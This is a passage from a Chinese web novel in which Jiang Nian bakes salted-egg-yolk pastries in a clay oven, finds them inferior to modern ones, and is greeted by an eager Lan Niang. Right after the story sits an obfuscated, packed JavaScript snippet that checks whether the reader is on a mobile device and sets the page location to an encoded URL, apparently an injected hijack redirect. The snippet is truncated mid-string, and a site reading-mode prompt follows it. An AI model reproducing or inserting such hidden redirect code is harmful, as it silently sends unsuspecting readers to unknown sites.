做酥皮时加一点，比寻常盐巴好上数倍。整个大石县，舍得用这盐做点心的，也就我家了。”
姜念好奇打开，是比寻常海盐干净许多。但颗粒还是粗，隐约能瞧见细微的杂质。还是用手里的现代盐做酥皮，效果更佳。
见兰娘立在灶台边，她客客气气将人请了出去。
关好门后，才开始动手。
那包西域盐被兑成盐水，用来浸泡生鸭蛋黄。待蛋黄洗净，便送入灶膛稍稍烘烤。另一边，面粉和成水油皮与油酥，反复擀开叠起，再依次将糯米团、豆沙、蛋黄层层包裹。
约莫过了一个多时辰，厨房里渐渐漫出焦香。
烘烤好的蛋黄酥，一个个都圆鼓鼓的。由于用的是土灶，受热不匀，火候难以把握，酥皮表面烤成不均匀的浅金色。
等它稍稍放凉，切开一枚尝了尝。
酥皮层次尚可，只是被中间那层软糯麻薯一衬，便显得略微发硬。比原先的陈皮红豆酥自然好吃不少，可若拿去与现代蛋黄酥相比，仍差得远。
姜念想了想，歇了上架系统的心思。
她要是在外卖上买到这样的蛋黄酥，肯定会给差评。
打开了门，在外头踱步的兰娘立刻走进来，眼睛亮得厉害。
“我在外头闻了许久，实在坐不住了，这便成了？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|
关闭+畅/阅读=模式,看最新完整内容。本章未完，请点击下一页继续阅读》》